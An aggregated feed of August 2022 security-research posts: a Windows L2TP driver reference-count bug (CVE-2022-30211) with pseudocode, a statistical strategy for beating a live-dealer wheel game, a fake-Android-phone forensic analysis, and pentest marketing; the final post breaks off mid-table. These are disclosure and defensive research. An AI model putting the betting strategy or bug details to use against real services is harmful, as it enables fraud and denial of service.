🔒
There are new articles available, click to refresh the page.
Today — 18 August 2022Vulnerabily Research

You Have One New Appwntment: Exploiting iCalendar Properties in Enterprise Applications

18 August 2022 at 00:45
First defined in 1998, the iCalendar standard remains ubiquitous in enterprise software. However, it did not account for modern security concerns and allowed vendors to create proprietary extensions that expanded the format’s attack surface. I demonstrate how flawed RFC implementations led to vulnerabilities in popular enterprise applications. Attackers can trigger exploits remotely with zero user interaction due to automatic parsing of event invitations. Furthermore, I explain how iCalendar’s integrations with the SMTP and CalDAV protocols enable multi-stage attacks. Despite attempts to secure these technologies separately, the interactions that arise from features such as emailed event reminders require a “full-stack” approach to calendar security. I conclude that developers should strengthen existing iCalendar standards in both design and implementation.
Yesterday — 17 August 2022Vulnerabily Research

One Weak Password Leads to Compromise

17 August 2022 at 16:23

The only constant in IT today is change. That change might be an all-encompassing digital transformation brought on by a global pandemic, or merely a change of employee credentials. Either way, there is constant change in our organizations today.

The risk associated with that change does not always have a direct relationship with the level of effort to implement that change. Whether the change is extensive or trivial, when combined with other threat vectors that exist on the attack surface, it can put your organization at serious risk. That risk also depends on what data bad actors have been able to collect on you or your organization during their reconnaissance stage. Chained together with any weaknesses present, the change may have introduced a low severity misconfiguration that could lead to a critical impact.

Here’s an example of a minor change that led to a major impact. Our autonomous pentesting platform, NodeZero, discovered a customer’s host that had not appeared in previous pentests. This new host was either not online or not communicating on the network previously ­– but NodeZero saw that it was actively sending packets across the network via LDAP to communicate with Active Directory.

Just as an attacker would, NodeZero sought to exploit this potential opportunity by executing OSINT, Open-Source Intelligence, on the company and its employee base. NodeZero then generated multiple potential usernames, password sprayed for potential valid user accounts, and was able to compromise a valid credential in a matter of seconds. Subsequently, NodeZero leveraged the successfully obtained credential and chained this together with other data that it had found via enumerating network infrastructure. NodeZero fingerprinted several other hosts, before it finally found a host that this credential had local admin privileges on. Node Zero was finally able to dump the credentials from the SAM database, the LSASS service, and LSA secrets.

The customer was convinced that the NodeZero results were a false positive. However, with the full transparency and depth of information of the attack path and as well as the proof that NodeZero provided, we provided the user with insight on how one single changed credential could be reused on multiple hosts and lead to numerous critical impacts. One of these impacts led to domain compromise – NodeZero was able to successfully log in to the domain controller via four different domain admin credentials and via four separate attack paths.

Prior to running the pentest, our customer expected to find no critical impacts and/or any credentials compromised. Much to their own disappointment – though that disappointment turned to surprise and appreciation – NodeZero still harvested 776 credentials and 43 file shares. These led to several critical impacts including, but not limited to, domain compromise, numerous domain user compromises, and sensitive data exposure.

Many organizations adhere to regulatory bodies or are required by their internal/external stakeholders to adhere to certain standards. Almost all the standards, policies, and regulations in some way, shape, or form require a strong password policy in place, implemented, and enforced. NodeZero empowered the customer with insight into how their weak password policy allowed a minor change in credentials of one single user to lead to several critical impacts.

It is crucial to continuously assess your network and identify the most critical weak links that could potentially be exploited by cyber threat actors. A weak link that doesn’t exist today doesn’t mean that it won’t exist tomorrow. Change is inevitable so when it comes to security, and our advice is to continuously run pentests to find and fix any exploitable vulnerabilities and verify that they are fixed.

NodeZero is a true self-service SaaS offering. It is safe to run in production and requires no persistent or credentialed agents. NodeZero combines the lower cost and high frequency testing capabilities of automated pentesting with the expertise, thoroughness, and precision of manual pentests performed by highly skilled security professionals. The result: the ability to run continuous purple team exercises at a low annual cost.

Want to see it in action? Schedule a demo today.

This article was written by Habibeh Deyhim, Customer Success Leader with Horizon3.ai. You can find her on LinkedIn here

The post One Weak Password Leads to Compromise appeared first on Horizon3.ai.

CVE-2022-30211: Windows L2TP VPN Memory Leak and Use after Free Vulnerability

17 August 2022 at 09:00

Nettitude discovered a Memory Leak turned Use after Free (UaF) bug in the Microsoft implementation of the L2TP VPN protocol. The vulnerability affects most server and desktop versions of Windows, dating back to Windows Server 2008 and Windows 7 respectively. This could result in a Denial of Service (DoS) condition or could potentially be exploited to achieve Remote Code Execution (RCE).

Please see the official Microsoft advisory for full details:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30211

L2TP is a relatively uncommonly used protocol and sits behind an IPSEC authenticated tunnel by default, making the chances of seeing this bug in the wild extremely low. Despite the low likelihood of exploitation, analysis of this bug demonstrates interesting adverse effects of code which was designed to actually mitigate security risk.

L2TP and IPSEC

The default way to interact with an L2TP VPN on Windows Server is by first establishing an IPSEC tunnel to encrypt the traffic. For the purposes of providing a minimalistic proof of concept, I tested against Windows Server with the IPSEC tunnelling layer disabled, interacting directly with the L2TP driver. Please note however, it is still possible to trigger this bug over an IPSEC tunnelled connection.

For curious readers, disabling IPSEC can be achieved by setting the ProhibitIpSec DWORD registry key with a value of 1 under the following registry path:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters\

This will disable IPSEC tunnelling and allow L2TP to be interacted with directly over UDP. Not to discourage a full IPSEC + L2TP solution, but it does make testing the L2TP driver a great deal easier!

Vulnerability Details

The bug in question is a reference increment bug located in the rasl2tp.sys L2TP VPN protocol driver, and relates to how tunnel context structures are reused. Each established tunnel for a connection is allocated a context structure, and a unique tunnel is considered to be the pairing of both a unique tunnel ID and UDP + IP address.

When a client initiates an L2TP StartControlConnectionRequest for a tunnel ID that they have previously used on a source IP and port that the server has already seen, the rasl2tp driver will attempt to reuse a previously allocated structure as long as it is not in an unusable state or already freed. This functionality is handled by the SetupTunnel function when a StartControlConnectionRequest is made with no tunnel or session ID specified in the L2TP Header, and an assigned tunnel ID matching one that has already been used.

Pseudo code for the vulnerable section is as follows:

if ( !lpL2tpHeaderHasTunnelID )
{
   // Tunnel Lookup function uses UDP address information as well as TunnelID to match a previous Tunnel Context structure
   NewTunnel = TunnelCbFromIpAddressAndAssignedTunnelId(lpAdapterCtx, lpSockAddr, lpTunnelId);
   if ( NewTunnel ) // if a match is found a pointer is returned else the return is NULL
   {
      if...
      ReferenceTunnel(NewTunnel, 1); // This is the vulnerable reference count
      KeReleaseSpinLock(&lpAdapterCtx->TunnelLock, lpAdapterCtx->TunnelCurIRQL);
      return NewTunnel;
   }
}

The issue is that the reference count does not have an appropriate dereference anywhere in the code. This means that it is possible for a malicious client to continually send StartControlConnectionRequests to increment the value indefinitely.

This creates two separate vulnerable conditions. Firstly, because the reference count can be far greater than it should be, it is possible for an attacker to abuse the issue to exhaust the memory resources of the server by spoofing numerous IP address and tunnel ID combinations and sending several StartControlConnectionRequests. This would keep the structures alive indefinitely until the server’s resources are exhausted, causing a denial of service. This process can be amplified across many nodes to accelerate the process of consuming server resources and is only limited by the bandwidth capacity of the server. In reality, this process may also be limited by other factors applied to network traffic before the L2TP protocol is handled.

The second vulnerable condition is due to logic in the DereferenceTunnel function responsible for removing tunnel references and initiating the underlying free operation. It is possible to turn this issue into a Use after Free (UaF) vulnerability, which could potentially then be used to achieve Remote Code Execution.

Some pseudo code for the logic that allows this to happen in the DereferenceTunnel function is as follows:

__int64 __fastcall DereferenceTunnel(TunnelCtx *TunnelCtx)
{
   ...

   lpAdapterCtx = TunnelCtx->AdapterCtx;
   lpTunnelCtx = TunnelCtx;
   lpAdapterCtx->TunnelCurIRQL = KeAcquireSpinLockRaiseToDpc(&lpAdapterCtx->TunnelLock);
   RefCount = --lpTunnelCtx->TuneelRefCount;
   if ( !RefCount )
   {
      // This code path properly removes the Tunnel Context from a global linked list and handles state termination
      ...
   }
   KeReleaseSpinLock(&lpAdapterCtx->TunnelLock, lpAdapterCtx->TunnelCurIRQL);
   if ( RefCount > 0 ) // This line is vulnerable to a signed integer overflow
      return (unsigned int)RefCount;
   ...
   lpTunnelCtx->TunnelTag = '0T2L';
   ExFreePoolWithTag(&lpTunnelCtx[-1].TunnelVcListIRQL, 0);
   ...
   return 0i64;
}

The second check of the reference count that would normally cause the function to return uses a signed integer for the reference count variable. This means using the reference increment bug we can cause the reference count value to overflow and become a negative number. This would cause the DereferenceTunnel function to free the target tunnel context structure without removing it from the global linked list.

The global linked list in question is used to store all the active tunnel context structures. When a UDP packet is handled, this global linked list is used to lookup the appropriate tunnel structure. If a freed structure was still present in the list, any UDP packet referencing the freed context structure’s ID would be able to gain access to the freed structure and could be used to further corrupt kernel memory.

Exploitation

Exploitation of this bug outside of just exhausting the memory resources of a target server could take a very long time and I suspect would not realistically be exploitable or viable. Since a reference count can only happen once per UDP packet and each UDP message has to be large enough to contain all prior network stack frames and the required L2TP (and IPSEC) messages, the total required throughput is huge and would almost definitely be detected as a denial of service (DoS) attack long before reaching the required reference count.

Conclusion

This leaves the question of why would a developer allow a reference count to be handled in this way, when it should only ever require a minimum value of 0?

The main reason for allowing a reference count to become a negative number is to account or check for code that over removes references, and would typically result in an unsigned overflow. This kind of programming is a way of mitigating the risk posed by the more likely situation that a reference count is over-decremented. However, a direct result is that the opposite situation then becomes much more exploitable and in this scenario results in a potential for remote code execution (RCE).

Despite this, the mitigation is still generally effective, and the precursors for exploitation of this issue are unlikely to be realistically exploitable. In a way, the intended mitigation works because even though the maximum possible impact is far greater, the likelihood of exploitation is far lower.

Timeline

  • Vulnerability Reported To Microsoft – 20 April 2022
  • Vulnerability Acknowledged – 20 April 2022
  • Patch In Development – 23 June 2022
  • Patch Released – 12 July 2022

The post CVE-2022-30211: Windows L2TP VPN Memory Leak and Use after Free Vulnerability appeared first on Nettitude Labs.

Attacking Your Assumptions: How Criminal Tactics Can Save Your Organization

15 August 2022 at 16:59

In this article, VerSprite's Offensive Security team explore the difference between common security risk assessments (vulnerability assessment, penetration testing, and red teaming) as we walk you through real exploits we have used to test organizations' security protocols.

The post Attacking Your Assumptions: How Criminal Tactics Can Save Your Organization appeared first on VerSprite.

Before yesterdayVulnerabily Research

Wheel of Fortune Outcome Prediction – Taking the Luck out of Gambling

16 August 2022 at 19:50

Authored by: Jesús Miguel Calderón Marín

Introduction

Two years ago I carried out research into online casino games specifically focusing on roulette. As a result, I composed a detailed guide with information on classification of online roulette, potential vulnerabilities and the ways to detect them[1].

Although this guideline was particularly well-received by the security community, I felt that it was too theoretical and lacked a real-world example of a vulnerable casino game.
With this, I decided to carry out research on a real casino game in search of new vulnerabilities and exploit techniques. In case of success, I planned to share the results with the affected vendor[2] and afterwards with the community.

While I was looking for a target I had a look on a particular variant of the casino game ‘Wheel of fortune’. The wheel is spun manually by a croupier and not by any automated system. That caught my eye and made me think about the randomness of the winning numbers. Typically, pseudo random number generators (PRNGs) are one of the main targets when it comes to game security assessments. However, there is no a PRNG in this case. Apparently, the randomness relies on the number of times the croupier spins the wheel, which, in turn, depends on their arm strength among other properties. The question that immediately came to my mind was whether a croupier is a good ‘PRNG’?

Summary

IMPORTANT NOTE. For security reasons and in order to keep confidential the identity of the vendor and game affected, some data has been redacted or omitted and the name of the game was changed to a generic one (Big Six). In addition, screenshots of the real wheel and croupiers have been substituted by similar images specially created for this purpose.

Bix Six is a casino game based on Wheel of Fortune game. Briefly, it is a big vertical wheel where the player bets on the number it will stop on [3].

According to this security analysis, the outcome of the Big Six game is predictable enough in order that the house edge could be overcome and consequently a profit could be made in the long run. Generally speaking, croupiers unconsciously tend to spin the wheel a specific number of times hence the dispersion of the number of spins is too small. Consequently, some positions of the wheel had higher chances of winning and a player could benefit by betting on these positions.

Table of Contents

The rules

The wheel is comprised of 54 segments. The possible outcomes on the wheel are 1, 2, 5, 10, 20, 40, multiplier 1 (M1) and multiplier 2 (M2).

Figure 1 – Bix Six Wheel

Players bet on a number they think the wheel will land on and then the croupier spins the wheel. The bets must be placed within the table limits, which are shown on the screen. The colour around the countdown indicates when players can place bets (green), when betting time is nearly over (amber) and when no further bets can be placed for the current round (no countdown).

Figure 2 – Phases of the betting round

It is worth mentioning that the croupier starts spinning the wheel before the betting time is over and continues doing it for several seconds once the betting time is over and the betting panel is no longer available.

Some spins after, the winning number is determined and pay-outs are made on winning bets.

Figure 3 – Winning segment indicated by the leather pointer at the top of the wheel

Odds and pay-outs

The wheel can stop on the numbers 1, 2, 5, 10, 20 and 40. The pay-out of each segment is a bet multiplied by its number plus the stake. For example, if a player bets 15 pounds on number 10 and this turns out to be the winning number, the player is paid 165 pounds (15 x 10 + 15).

The segments M1 and M2 are multiplier segments, which makes the game more interesting. If the wheel stops on any of them, new bets are not accepted, and the wheel is spun again. However, any wins on the next spin are multiplied by [*REDACTED*] or [*REDACTED*], according to the multiplier the wheel stops on in the original spin. If the wheel stops on two or more multipliers, the final win is increased by as many times as all the multipliers before indicate.

The table below shows the number of stops, pay-out and house edge for each possible outcome:

Table 1 – Odds and pay-outs

Wheel tracker

A script was developed to record the behaviour and the outcome of the Bix Six online game. The obtained data included inter alia, initial speeds of the wheel, croupiers and winning numbers.

7,278 hands were recorded in April 2021 and subsequently analysed. The figures below show some of those hands.

Figure 4 – Tracked hands

Among most relevant data for analysis, the following is included:

  • winningNumber – the winning number displayed on the wheel as an outcome of every hand (1, 2, 5, 10, 20, 40, M1, o M2).
Figure 5 – Winning Number ‘2’
  • AbsolutePosition – unique number to identify unambiguously every segment. E.g. the yellow segment has the absolute position 0. This does not vary from hand to hand unlike relative positions (see the definition below).
Figure 6 – Segments’ identifiers (absolute positions 0, 18, 30, 43)
  • winningAbsolutePosition – the absolute position of the segment of the winning number. The following picture shows the winning number 40, which has the absolute position 0.
Figure 7 – Winning Absolute Position ‘0’
  • direction – the direction in which the wheel is spun. The value assigned to it is whether ‘CLOCKWISE’ or ‘ANTICLOCKWISE’.
  • positions_run – identical to the number of the wheel spins multiplied by 54 (the number of segments the wheel is divided into). For instance, if the wheel spins 1.5 times, the value of this variable will be 81 (1.5 * 54).
  • HAND_TIME (Initial position) – The moment in the video when the hand starts (e.g. 35.2 seconds from the beginning of the recording). This coincides with the instant before the betting panel is disabled and no longer available until the next game (specifically 0.5 seconds before). The position of the wheel at this moment will be referred to as the initial position from now on.
Figure 8 – Initial position – instant before the betting panel is disabled
Figure 9 – Instant when the betting panel is disabled
  • Relative positions – unique numbers to identify the segments of the wheel which are assigned at the initial position beginning from the segment on the top (position 1), followed by the next segment (position 2), etc. The next segment is on its left if the direction is clockwise or on its right if the direction is anticlockwise.
Figure 10 – Relative positions assigned at the initial position
  • winningRelativePosition – defines the relative position of the segment containing the winning number. It can be calculated using the following formula: round(positions_run % 54, 0) + 1. E.g. in the figures below, the blue segment that is in the relative position number 10 is the winning one. Therefore, the winning relative position is 10 for this hand.
Figure 11 – Initial position – Relative positions
Figure 12 – Final position – Winning relative position ‘10’

Wheel behaviour analysis

The values of the variables ‘winningAbsolutePosition’, ‘winningNumber’ and ‘winningRelativePosition’ have been analysed to establish the fact that they are random. In order to do this, the chi-square test of independence have been used to ascertain whether the difference between the analysed numbers distribution and the expected distribution is attributed to good luck or, on the contrary, to the lack of randomness, which could be eventually exploited by a malicious player. Should any further information about the method be required, the reference added to this document could be consulted [1][2].

Variables winningNumber and winningAbsolutePosition

The variables ‘winningNumber’ and ‘winningAbsolutePosition’ have successfully passed the test. Particularly, in case of ‘winningNumber’ the chi-squared statistic was 4.48. The critical value for the distribution chi-square with 7 degrees of freedom and the level of significance of 1% is 18.47[3]. As the critical value is significantly higher than chi-squared statistic (4.48), it is impossible to state that winning numbers are not random.

Similarly, the statistics for ‘winningAbsolutePosition’ was 32.18, which is much less than the critical value 79.84 (53 degrees of freedom and a level of significance of 1%). This implies that it cannot be stated that there is difference in size of the segments or the wheel is biased.

Variable winningRelativePosition

However, as for the parameter ‘winningRelativePosition’, it is notable that some positions win more frequently than others do, which could make it possible for a player to overcome the house edge and benefit from it. According to the collected data, the chi-squared statistic is 90.75 and exceeds the critical value 79.84 (53 degrees of freedom and a level of significance of 1%). In addition, the p-value (probability of obtaining test results at least as extreme as the results actually observed) [4] is 0.095%. These results suggest that the parameter ‘winningRelativePosition’ is far from being random.

Table 2 – Chi Squared – winningRelativePosition

The table below shows that p-value is even lower in winning relative positions for hands with clockwise direction, particularly 0.00000014%.

Table 3 – Chi Squared – winningRelativePosition – Clockwise

Simultaneous confidence intervals [5][6] were calculated for this last sample to ultimately know the maximum and minimum potential benefit which a player would be able to gain. In order to work this out, the Wilson score method was used with a confidence level of 90%.

It was estimated that a player has a probability of 2.15% of winning betting on the position 29 in the worst of cases. This probability considerably exceeds the expected value (1.851%) and implies a significant advantage for the player.

Table 4 -Confidence Intervals (Wilson method – 90% confidence) for winning relative positions – CLOCKWISE

Exploiting lack of randomness on winning relative positions

In order to exploit the lack of randomness of winning relative positions, betting strategies have to be designed. The following two sections include betting strategies designed for clockwise and anticlockwise games, and the analysis of their efficiency in comparison with other strategies.

Betting Strategies

A very simple winning betting strategy consists in betting on number 40 if the segment (there is only one segment with number 40) is in the relative position 29 and the wheel direction is clockwise. The following shows an example of how this strategy works. 

The image below shows the initial position of the wheel (this coincides with the instant before the betting panel is disabled and no longer available until the next game). Number 40 is in the relative position 8 but not in the relative position 29. Therefore, this game would be ignored, and no bets should be made.

Figure 13 – Initial position – Segment 40 is on the relative position 8

In the following initial position, number 40 is in the relative position 29. Therefore, a bet should be made on number 40.

Figure 14-  Initial position – Segment 40 is on the relative position 29

It is worth mentioning that the bets would need to be made in an automated way using a script because such tasks as identifying the number positioned in a specific relative position, and making (or not making) a bet within 0.5 seconds, are not possible to do manually.

According to the simultaneous confidence intervals calculated previously, the probability of winning would be between 2.15% and 3.01% (without taking into account the M2 and M1 segments), which considerably exceeds the expected value (1/54 = 0.0185 = 1.85%).

Taking into account the aforementioned probabilities and assuming that:

  • the wheel stops on the segments ‘M1’ and ‘M2’ with probabilities 1.9% and 1.4% in the worst of the cases, and 2.71% and 2.12% in the best of the cases.
  • all the segments have equal probability of winning if previously the wheel stopped on ‘M2’ or ‘M1’
  • the size of the bet is always 1€ and the winning quantity limit is 500.000€

it was estimated that the player could obtain a return on betting that would range from 0.56% to 41.80% using this strategy. For instance, a player would win a minimum of 5.6€ and a maximum of 418€ per every 1000€ bet, with approximately 90% of confidence.

Notably, this strategy might require long time to obtain a ‘worthy’ benefit as most of the games are discarded because bets are only placed when number 40 is in the relative position 29.

As a proof of concept, a more complex betting strategy was designed based on the estimated probabilities and expected ROI. It will be referred to as ‘MY BETTTING STRATEGY’ from now on.

Table 5 – My betting strategy

Depending on the direction (CLOCKWISE and ANTICLOCKWISE), the strategies are different.

The columns ‘BEST NUMBER TO BET ON’ contain the numbers which the player should bet on and the columns ‘RELATIVE POSITION OF NUMBER 40’ indicate the relative position of number 40.

For example, if the wheel is spinning clockwise and the relative position of the segment 40 is 7 (see the image below), the player should not bet on any number.

Figure 15 – Initial position – Segment 40 is on the relative position 7

However, if the wheel is spinning clockwise and the relative position of the segment 40 is 39, the player should bet on number 10 according to the strategy (see the following image and table).

Figure 16 – Initial position – Segment 40 is on the relative position 39
Table 6 – Excerpt from the ‘My betting strategy’ table

Analysing the effectiveness of betting strategies

A computer simulation of a fictitious player following ‘MY BETTING STRATEGY’ described in the previous section was run using the sample of 7.278 games (Figure 4 – Tracked hands).

For the simulation, it was assumed that:

  • all the segments have equal probability of winning if previously the wheel stopped on ‘M2’ or ‘M1’
  • as the winning numbers after the wheel stopping on ‘M2’ and ‘M1’ were not tracked by the script, the expected ROI was returned when the ‘winning segment’ was either ‘M2’ or ‘M1’. For instance, if following the strategy one euro is bet is on number 10 and the wheel stops on the segment ‘M2’, the total balance will be increased by [*REDACTED*] as this quantity is the expected ROI over the long run.
  • the size of the bet is always 1€ and the winning quantity limit is 500.000€

 The following table shows the results:

Table 7 – ROI of ‘My betting strategy’

Noticed that not all the games were played. E.g. for the ‘CLOCKWISE’ direction, 1,102 out of 3,646 games were played, which means that 2,544 were ignored, as they were not profitable according to the strategy.

The balance shows the winnings (positive in both cases) and the column ‘ROI’ indicates the average money per played hand, which the player made. In other words, ROI = 100 * ‘BALANCE’ / ‘GAMES PLAYED’.

In order to determine the effectiveness of the betting strategy, the probability of obtaining a return greater than or equal to the returns obtained was worked out. Specifically, a bootstrap[7] analysis was performed to estimate the distribution of returns for the following losing strategies:

  • RANDOM strategy consists in betting on any number (1, 2, 5, 10, 20 or 40) randomly.
  • ALWAYS 10 strategy consists in always betting on number 10. This is a very interesting strategy to compare with ‘MY BETTING STRATEGY’, as number 10 has the lowest house edge among all the numbers, [*REDACTED*]% (see Odds and pay-outs). Therefore, ‘ALWAYS 10’ strategy is supposed to be the best strategy as it allows minimising the losses per hand.

It is worth mentioning that Monte Carlo[8] analysis was performed as well, which yielded very similar results.

The following table shows the results of the analysis:

Table 8 – Results of the comparison between the strategies ‘RANDOM’, ‘ALWAYS 10’ and ‘MY BETTING STRATEGY’

As it can be observed, the probability of obtaining a return greater than or equal to ‘MY BETTING STRATEGY’ with the ‘random’ and ‘always 10’ betting strategies (across 1,102 and 303 games respectively) is less than 1%. This result suggests that the high effectiveness of ‘MY BETTING STRATEGY’ is far from being by luck.

The following graphs visually illustrate the effectiveness of ‘MY BETTING STRATEGY’ for the CLOCKWISE direction in comparison with the ‘random’ and ‘always 10’ betting strategies. A thousand games were simulated.

Figure 17 – MY BETTING STRATEGY vs ALWAYS 10 strategy
Figure 18 – MY BETTING STRATEGY strategy vs RANDOM strategy

It is noteworthy that better strategies could be worked out. However, they were not explored as exploiting the lack of randomness in an efficient way was not the aim of this analysis but highlighting the fact that the house edge could be overcome.

Other Considerations

It is worth mentioning that no intrusive tests were conducted during this research. Additionally, it was not necessary to make any bets to detect or proof the potential vulnerability described in this document. The interaction with the game was limited to record videos of the wheel, which were analysed afterwards.

Other online games were found to be similar to Bix Six. Therefore, these games might be vulnerable as well.

Recommendations

It is recommended to make the necessary changes to the game in order to generate random winning relative positions. This way, it will not be possible to overcome the house edge and make profit in the long run.

The best and safest solution (probably, the most expensive to implement as well) is to replace the croupiers by hardware that randomly generates the outcome and spins the wheel with the necessary and exact strength to show the previously determined number as the winning number.

Other solution might consist in increasing the difference between the minimum and maximum number of wheel spins. According to the observations, the croupiers currently spin the wheel approximately between 2.7 times (150 segments) and 4.7 times (258 segments). This means a difference of only two wheel spins (4.7 – 2.7 = 2). Additionally, it was observed that the croupiers unconsciously tend to spin the wheel a specific number of times. Particularly, a number between 3.56 and 3.62 times (192.5 – 195.5) as can be seen in the following histogram:

Picture 19 – Number of spins (expressed in number of segments)

Apparently, the fact that this distribution is bell-shaped is the reason why the winning positions are not random enough. Therefore, increasing the difference between the maximum and minimum number of wheel spins will help to flatten the curve and, consequently, to obtain more random winning numbers.

To illustrate this solution, a simulation of 7,200 wheel spins, whose numbers of segments run ranged from 147.5 to 511 (4 wheel spins difference instead of 2), was conducted. Its histogram can be seen in the image below:

Picture 20 – Number of spins (expressed in number of segments)

A chi-square test was conducted, and the p-value obtained was 98.6%. This result conforms well with a fair game and the deviation from expectations is well with the normal range.

Table 9 – Chi Squared – Winning numbers

Alternatively, winnings of players could be monitored and analysed statistically in real time. If a player’s winnings were unlikely to be by chance at a particular time, their accounts could be blocked temporarily and further investigation could be undertaken. Additionally, suspicious betting patterns could be monitored as well. For example, a player betting only on specific numbers (40 and 20) sporadically could be an indicative of a player trying to exploit this issue.

References

[1] Online Casino Roulette – A guideline for penetration testers and security researchers: https://research.nccgroup.com/2020/09/18/online-casino-roulette-a-guideline-for-penetration-testers-and-security-researchers/

[2] NCC Group Vulnerability Disclosure Policy: https://research.nccgroup.com/wp-content/uploads/2021/03/Disclosure-Policy.pdf

[3] Big Six – Wizard of odds: https://wizardofodds.com/games/big-six/

[4] Chi-squared distribution: https://en.wikipedia.org/wiki/Chi-squared_distribution

[5] Goodness of fit: https://en.wikipedia.org/wiki/Goodness_of_fit

[6] Chi Square Distribution Table for Degrees of Freedom 1-100: https://www.easycalculation.com/statistics/chisquare-table.php

[7] P-value – Wikipedia: https://en.wikipedia.org/wiki/P-value

[8] Confidence interval: https://en.wikipedia.org/wiki/Confidence_interval

[9] MultinomCI – Confidence Intervals for Multinomial Proportions: https://rdrr.io/cran/DescTools/man/MultinomCI.html

[10] Bootstrapping – https://en.wikipedia.org/wiki/Bootstrapping_(statistics)

[11] Monte Carlo – https://en.wikipedia.org/wiki/Monte_Carlo_method

Fake Droids: Your New Android Device is Actually an Old Android 6

16 August 2022 at 16:08
Fake Droids: Your New Android Device is Actually an Old Android 6

During a Digital Forensics investigation, ZecOps made an interesting finding: a cheap burner device that purported to be an Android 10 was actually an old Android 6.

In the first part of the series, we presented how attackers can ‘fake’ the shutdown screen on iOS to achieve persistence. 

Now, we demonstrate how device-fakers sell old Android devices as a new device, with fake specifications including faking of the CPU speed, Android version, Patch level, Memory, and even screen resolution.

It all started during a Digital Forensics investigation of a phone that was purchased from AliExpress as a cheap burner device was not how it presented itself. 

Cheap Android 10 Phone?

Following a brief investigation, we were able to locate the phone below on AliExpress. Shortly after the delivery, we were able to confirm our findings.

The link to the device we purchased is here. The phone looks stunning and is very cheap! What possibly can go wrong?

After inspecting the phone with ZecOps for Mobile, the problem became clear: the device was recognized by our system as an Android 6, not an Android 10.

Wait, what ?

First thing we did was go to Settings→ About phone. We found:

As you can see, the device shows that it is an Android 10 with 10 processor cores. We then used a known software called “CPU-Z”. This app is used to check the hardware properties.

Deeper Dive Into The World of Fake Android Devices

We checked the kernel version and device properties:

According to the output, the kernel version is 3.18.19 and Android version is 6.0. The Settings app, as well as CPU-Z, is trying to fool the end-user (but not ZecOps!). 

Let’s check the processor:

Here we see MT6753. This processor has 8 cores, instead of 10 cores, as was displayed in the Settings app.

Let’s check the API version:

The API version corresponds with Android 6 – consistent with previous findings.

Furthermore, we’ve made several observations about the UI of this phone, which is similar to Android 6 variants we previously used.

Examining Where the Android Faking Happens

Now we know that ZecOps was correct and that the phone is fake. But we can’t stop here – let’s examine where the interception of the data happens and how deep this device-faking goes:

We do know that the Settings app and CPU-Z app are reporting the same fake hardware details.

In order to understand where the data-faking happens, let’s focus on the Android version and check if all other apps do see the same device properties as CPU-Z and let’s do it in the same way CPU-Z or Settings app do.

First of all, let’s check if this fake is global, this will help us to guess the right component where the faking is happening. We already know that with ADB we can obtain the correct OS version number, which is consistent with both SDK version and the kernel version.

Let’s start with a simple check and establish a starting point: write our own program to check the actual version loaded with the precompiled framework.

The code (placed to onCreate of the basic project template):

        import android.os.Build;
        import android.util.Log;
        ……
        ……
        Log.e("TEST", Build.BOOTLOADER);
        Log.e("TEST", Build.VERSION.RELEASE);
        Log.e("TEST", Build.VERSION.BASE_OS);
        Log.e("TEST", Build.VERSION.CODENAME);

        Log.e("TEST", String.format("%d", Build.VERSION.SDK_INT));
        Log.e("TEST", String.format("%s", Build.BOARD));
        Log.e("TEST", String.format("%s", Build.FINGERPRINT));
        Log.e("TEST", String.format("%s", Build.HARDWARE));

Output:

2022-04-27 17:10:33.072 17287-17287/com.zecops.myapplication E/TEST: unknown
2022-04-27 17:10:33.072 17287-17287/com.zecops.myapplication E/TEST: 6.0
2022-04-27 17:10:33.072 17287-17287/com.zecops.myapplication E/TEST:
2022-04-27 17:10:33.072 17287-17287/com.zecops.myapplication E/TEST: REL
2022-04-27 17:10:33.073 17287-17287/com.zecops.myapplication E/TEST: 23
2022-04-27 17:10:33.073 17287-17287/com.zecops.myapplication E/TEST: unknown
2022-04-27 17:10:33.073 17287-17287/com.zecops.myapplication E/TEST: alps/full_hy6580_we_m/hy6580_we_m:6.0/MRA58K/1545278126:user/release-keys
2022-04-27 17:10:33.073 17287-17287/com.zecops.myapplication E/TEST: mt6735

So here everything is displayed correctly and consistently with adb output. We need to check the Settings app next.

Extracting and apktool’ing of the corresponding apk gives us the id of the android version string resource id, it is “firmware_version”, but no classes.dex inside. It’s OK, it is the usual situation for the Settings app.

After deodexing /system/priv-app/Settings/oat/arm/Settings.odex with baksmali and getting the code we can grep it for the firmware_version constant and see that it is taken from os.android.Build.VERSION

In DeviceInfoSettings.smali, and we’ll see something like this:

    const-string/jumbo v17, "firmware_version"
    sget-object v18, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
    move-object/from16 v0, p0
    move-object/from16 v1, v17
    move-object/from16 v2, v18
    invoke-direct {v0, v1, v2}, Lcom/android/settings/DeviceInfoSettings;->setStringSummary(Ljava/lang/String;Ljava/lang/String;)V

This corresponds to the code in onCreate in the https://android.googlesource.com/platform/packages/apps/Settings/+/refs/tags/android-6.0.1_r55/src/com/android/settings/DeviceInfoSettings.java

However the line number in the debug information does not correspond to the exact line, but it is around the needed code. 

After decompiling the code back to java we can finally see something more interesting:

Now everything is clear. The code which is similar to original implementation is under condition that never actually happens, because the actual value of “persyst.sys.hdf.androidsdk” on this phone is 1.

There are funny nuances here, including the replacement of the Security Patch Level from 2018 to 2019 !

Now we know where the fake Android version came from: it comes from HdfUtil.GetHrfAndroidString, along with a lot of other fake properties.

Let’s further examine how the fake Android version is configured:

As we can see at the start of onCreate function SystemProperties.getInt(“persyst.sys.hdf.androidsdk”, 0) is called.

We can verify this value with getprop utility and see that the returned value is 1, so the value that will be displayed as android version comes from HdfUtil.getHrfAndroidString .

Below is the source of this function:

public static String getHrfAndroidString() {
        switch (SystemProperties.getInt("persist.sys.hdf.androidv", 0)) {
            case 0:
                return "9.1";
            case 1:
                return "6.0";
            case 2:
                return "6.1";
            case 3:
                return "8.0";
            case 4:
                return "8.1";
            case 5:
                return "9.0";
            case 6:
                return "9.1";
            case 7:
                return "10.0";
            default:
                return "6.0";
        }
    }
}

This function actually returns the value “10.0” according to the real value returned from SystemProperties.getInt(“persist.sys.hdf.androidv”, 0) which can be checked with getprop utility and equals 7. 

The similar exercise happens with all the other parameters.

Almost all the onCreate function of the DeviceInfoSettings class refers to this class, instead of doing what the original Android source says (which refers mostly to os.android.Build.VERSION class, see below)

All the HW-faking happens in HdfUtil.java. This file wasn’t obfuscated.

When we understand what exactly happened here, we can compare the real HW properties of this device with what our flattering Settings app says.  

Property Specs from site Settings and HdfUtil.java CPU-Z App Real values
Android 10.0 10.0 10.0 6.0 (getprop)
RAM 12GB 8GB 8192 MB 8388608 K
